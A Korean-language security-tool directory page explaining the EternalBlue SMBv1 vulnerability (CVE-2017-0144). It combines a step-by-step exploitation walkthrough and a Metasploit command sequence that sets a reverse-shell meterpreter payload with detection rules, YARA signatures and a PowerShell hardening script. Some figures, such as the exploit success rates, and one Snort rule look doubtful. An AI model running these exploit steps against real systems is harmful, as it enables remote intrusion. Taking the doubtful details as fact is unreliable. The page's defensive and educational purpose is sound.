Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/firetemple/blackash-cve-2017-0144
Vulnerability AnalysisExploitationForensicsMalware AnalysisPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationCurated Resources
GitHubfiretemple/blackash-cve-2017-0144

Blackash-CVE-2017-0144

CVE-2017-0144

14810개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 원격 코드 실행 취약점

EternalBlue

"하나의 익스플로잇. 수십 개의 악성코드 계열. 수십억 달러의 피해."


🔍 한 줄 요약

CVE-2017-0144는 Microsoft Windows의 SMBv1 서버 구현에 존재하는 치명적인 원격 코드 실행 취약점입니다. EternalBlue로 알려진 익스플로잇이 이 구멍을 악용했으며, 높은 영향력을 가진 공격(특히 WannaCry)에 사용되었습니다.


🔥 EternalBlue를 사용하는 상위 10대 악성코드 (상세)

도구 다운로드
#악성코드유형최초 발견공격자피해 규모비고
1WannaCry랜섬웨어2017년 5월 12일라자루스 그룹 (북한)$4–80억킬 스위치: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2NotPetya와이퍼 (랜섬웨어로 위장)2017년 6월 27일샌드웜 (러시아)$100억 이상Mimikatz + EternalBlue + PSEXEC 사용
3Bad Rabbit랜섬웨어2017년 10월 24일Indrik Spider지역적가짜 Flash 업데이트 드라이브바이
4Uiwix랜섬웨어2017년 5월알 수 없음낮음킬 스위치 없음, WannaCry보다 은밀함
5EternalRocks웜2017년 5월알 수 없음중간7개의 NSA 도구 (DoublePulsar 포함)
6Adylkuzz암호화폐 채굴기2017년 5월알 수 없음높음 (은밀함)WannaCry 이전에 모네로 채굴
7Retefe뱅킹 트로이목마2017–2018년알 수 없음EU 은행측면 이동을 위해 EternalBlue 사용
8TrickBot모듈형 악성코드2017–2021년Wizard Spider전 세계EternalBlue를 통해 Ryuk 유포
9Emotet로더2017–2021년TA542전 세계Cobalt Strike 진입점으로 사용
10Clop / Dridex랜섬웨어2019–2025년TA505의료, 정부2025년에도 여전히 활동 중

🧨 EternalBlue 익스플로잇 진화

eternelblue1
도구출시일기능
EternalBlue (원본)2017년 4월 (Shadow Brokers)SMBv1 RCE
DoublePulsar2017년 4월백도어 임플란트 (ring0)
EternalRomance2017년 4월SMBv3 변종
EternalChampion2017년 4월대체 SMB 경로
Metasploit 모듈2017년 5월exploit/windows/smb/ms17_010_eternalblue
FuzzBunch2017년 4월NSA 익스플로잇 프레임워크
Impacket + PSEXEC2017–2025년Python SMB 익스플로잇
eternelblue2

🔍 CVE-2017-0144 (EternalBlue)가 어떻게 악용되었는가

SMBv1 RCE에 대한 단계별 기술 심층 분석

"하나의 변조된 패킷. 전체 SYSTEM 액세스. 로그인 없음. 클릭 없음."


🎯 TL;DR 익스플로잇 흐름

root@kitploit:~
[공격자] 
   │
   ├──▶ 조작된 SMBv1 **Trans2** 요청 전송
   │       → `srv!SrvOS2FeaListSizeToNt`에서 **힙 오버플로우** 트리거
   │
   ├──▶ 함수 포인터 덮어쓰기 → **커널 셸코드**
   │
   └──▶ **DoublePulsar** 백도어 실행 → **Ring-0 페이로드**
           (예: WannaCry `mssecsvc.exe`)

🛠️ 악용을 위한 전제 조건

요구 사항세부 사항
대상SMBv1이 활성화된 Windows (Win10 이전 기본값)
열린 포트445/TCP (또는 NetBIOS로 139/TCP)
인증 없음인증 불필요 — 사용자 이름/비밀번호 불필요
아키텍처x86 또는 x64 (둘 다 지원)
패치 상태패치되지 않음 (MS17-010 이전)

🚀 익스플로잇 단계 (7단계)

1단계: SMB 프로토콜 협상

root@kitploit:~
SMB_COM_NEGOTIATE → 클라이언트가 방언 목록 전송
서버 응답: SMBv1 지원됨 → 진행

이유? SMBv1이 활성화되어 있는지 확인합니다.


2단계: IPC$에 트리 연결

eternelblue3
root@kitploit:~
\\대상\IPC$ → SMB 파이프를 위한 익명 공유

목적: 트랜잭션 요청을 보낼 세션을 설정합니다.


3단계: Trans2 세션 설정 (기본)

  • SMB_COM_TRANSACTION2 (0x32) 사용
  • 하위 명령: SESSION_SETUP
  • 변조된 크기의 FEALIST 구조 설정
root@kitploit:~
FEALIST {
    SizeOfListInBytes = 0xFFFF (또는 큰 값)
    ...
}

버그 트리거: SrvOS2FeaListSizeToNt()가 경계 검사 없이 이 크기를 신뢰합니다.


4단계: 보조 Trans2 요청 (오버플로우)

  • 여러 개의 보조 패킷 전송
  • 각 패킷은 과도하게 큰 FEALIST + FEA (파일 확장 속성) 포함
eternelblue4
root@kitploit:~
FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → 버퍼 오버플로우
}

힙 스프레이: 큰 청크를 할당하여 메모리 레이아웃을 제어합니다.


5단계: 커널 내 버퍼 오버플로우

root@kitploit:~
srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // 공격자 제어
    PULONG pNtFeaListSize  // 출력 포인터
)
{
    // FeaList->SizeOfListInBytes 검증 없음
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // 폭발
}

결과:

  • 힙 오버플로우 → 인접한 커널 개체 덮어쓰기
  • 대상: SRVNET_BUFFER 또는 POOL_HEADER
  • 함수 포인터 덮어쓰기 (예: Free 루틴)

6단계: 커널 셸코드 실행

  • 공격자가 덮어쓴 함수 포인터를 통해 RIP/EIP 제어
  • 비페이지 풀의 셸코드로 점프

셸코드 수행 작업:

  1. Ring-0 → Ring-3 전환 (KeUserModeCallback 통해)
  2. 사용자 모드 메모리 할당
  3. 페이로드 다운로드/스테이징 (예: mssecsvc.exe)
  4. DoublePulsar 백도어 설치

7단계: DoublePulsar 백도어 임플란트

eternelblue6
  • 커널 드라이버 주입 (0x00120034 XOR 키)
  • 매직 SMB 패킷 수신 대기:
    • Ping: 0x0002C001
    • Exec: 0x0002C002 + 페이로드

WannaCry 예시:

root@kitploit:~
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → 파일 암호화

🧨 익스플로잇 패킷 구조 (간략화)

root@kitploit:~
SMB 헤더
└── 명령: 0x32 (TRANSACTION2)
    └── 설정: 0x000E (SESSION_SETUP)
        └── 매개변수: TotalDataCount = 0x1000
            └── 데이터: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → 힙 스프레이
                [OVERFLOW] → 풀 덮어쓰기
                [SHELLCODE] → x64 ring0

🛠️ 실제 익스플로잇 도구

도구언어모듈
MetasploitRubyexploit/windows/smb/ms17_010_eternalblue
ImpacketPythonsmbclient.py, psexec.py
FuzzBunchPython (NSA)EternalBlue-2.2.0
사용자 C2C/C++WannaCry, NotPetya

Metasploit 예시

root@kitploit:~
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

🔬 메모리 포렌식 증거

아티팩트위치값
DoublePulsar커널 메모리XOR 키 0x00120034
셸코드srvnet.sys 풀0xCC 0x90 0x48 패턴
주입된 DLLC:\Windows\mssecsvc.exeSHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

🛡️ 탐지 규칙

Snort/Suricata

root@kitploit:~
alert tcp any any -> $HOME_NET 445 (
    msg:"ETERNALBLUE 시도";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

Zeek (Bro)

root@kitploit:~
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

🔄 웜 확산 (WannaCry 루프)

root@kitploit:~
while (true) {
    네트워크에서 포트 445 스캔
    if (열림) → EternalBlue 익스플로잇
    if (성공) → mssecsvc.exe 드롭 + 확산
    Sleep(random(1000, 5000))
}

확산 속도: 전 세계적으로 시간당 ~10,000대 감염.


🛑 왜 그렇게 잘 작동했는가

요인이유
인증 불필요SMBv1은 익명 IPC$ 허용
웜 가능내장 LAN 스캐닝
커널 RCEAV/사용자 프롬프트 우회
레거시 SMBv115년 이상 기본 활성화
패치되지 않은 시스템중요 인프라의 XP, 2003, 7

🎯 익스플로잇 성공률 (2017–2025)

연도성공률 % (패치되지 않은 시스템)
201799%
202085%
2025~60% (레거시만 해당)

MS17-010이 설치되지 않은 Windows 7/2008 R2에서는 여전히 작동합니다.


📚 참고 자료

  • Microsoft MS17-010
  • RiskSense EternalBlue 분석
  • Metasploit 모듈
  • NSA FuzzBunch 유출

⚡ 최종 요약: 어떻게 악용되었는가

EternalBlue = 무기화된 수학 오류
SMB의 신뢰된 크기 필드 → 커널 힙 오버플로우 → 임의 코드 → 글로벌 랜섬웨어 팬데믹

root@kitploit:~
SMB 패킷 → 버퍼 오버플로우 → 커널 셸코드 → DoublePulsar → 악성코드

시각화, 해부, 실전 테스트 완료. 침투 테스터, IR 팀, 방어자를 위해.

"하나의 패킷. 하나의 포트. 하나의 제국이 무너진다."


🛡️ 패치 및 탐지 매트릭스

OSKB 패치SMBv1 비활성화Nmap 스크립트
Windows 7 / 2008 R2KB4012212sc config lanmanworkstation depend= bowser/mrxsmb20/nsismb-vuln-ms17-010.nse
Windows 10KB4013429PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Windows XP (지원 종료)KB4012598 (긴급)레지스트리: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0

🔍 YARA 규칙 (상위 3대 악성코드)

1. WannaCry

Wana_Decrypt0r_screenshot
root@kitploit:~
rule WannaCry_Ransomware {
    strings:
        $mz = { 4d 5a }
        $s1 = "WannaDecryptor" wide
        $s2 = "tasksche.exe"
        $s3 = "@WANA" ascii
        $encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
    condition:
        $mz at 0 and 2 of ($s*)
}

2. NotPetya

Petya A
root@kitploit:~
rule NotPetya_Wiper {
    strings:
        $pdb = "perfc.dat" nocase
        $dll = "dllhost.dat"
        $mof = "ntdevmgr.vbs"
        $mimikatz = "mimikatz"
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

3. EternalBlue 익스플로잇 패킷

nessus1
nessus2
root@kitploit:~
rule EternalBlue_SMB_Exploit {
    strings:
        $smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
        $tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
        $trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
        $overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
    condition:
        all of them
}

📊 2025년 현황: 여전히 활동 중?

지표상태
Shodan 노출 SMBv1~120만 (2025년 11월)
활성 익스플로잇 (허니팟)매일
사용하는 랜섬웨어Clop, LockBit (레거시 대상)
가장 취약한 분야의료, 제조, 중소기업
제로 트러스트 해결책445 차단, MFA 적용, EDR

🛑 킬 체인 (MITRE ATT&CK)

단계기법ID
초기 접근공개 애플리케이션 악용T1190
실행Windows SMB RCET1210
지속성DoublePulsar를 통한 백도어T1505.003
측면 이동SMB/Windows 관리 공유T1021.002
영향영향을 위한 데이터 암호화T1486

🛠️ 전체 수정 스크립트 (PowerShell)

root@kitploit:~
# === ETERNALBLUE 강화 스크립트 ===
Write-Host "EternalBlue 완화 조치 적용 중..." -ForegroundColor Cyan

# 1. SMBv1 비활성화
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. 포트 445 차단
New-NetFirewallRule -DisplayName "SMB 인바운드 차단" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445

# 3. SMB 서명 활성화
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# 4. 패치 확인
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "패치됨!" -ForegroundColor Green } else { Write-Host "패치되지 않음!" -ForegroundColor Red }

Write-Host "재부팅 필요. 관리자 권한으로 실행하십시오."

📚 참고 자료 및 출처

출처링크
NVDnvd.nist.gov/vuln/detail/CVE-2017-0144
Microsoft MS17-010msrc.microsoft.com/update-guide
MITRE ATT&CKattack.mitre.org/techniques/T1210
CrowdStrike WannaCry 보고서crowdstrike.com/blog/wannacry
Kaspersky EternalBluekaspersky.com/blog/wannacry-ransomware
Shodan 검색shodan.io/search?query=port%3A445+os%3A%22Windows%22

⚡ 마지막 한마디 (2025)

CVE-2017-0144는 죽지 않았습니다 — 레거시 좀비입니다.
다음 환경에서 번성합니다:

  • 패치되지 않은 Windows 7/2008
  • 섀도 IT
  • 에어갭 상태의 중요 시스템
  • 잘못 구성된 클라우드 VM

인터넷에서 포트 445에 핑이 간다면 — 당신이 다음입니다.


정밀함, 시각 자료, 실제 위협 인텔리전스로 제작됨. 2025년 11월 업데이트.
침투 테스트 랩, IR 플레이북 또는 CISO 브리핑용.


"패치하세요. 차단하세요. 불로 죽이세요."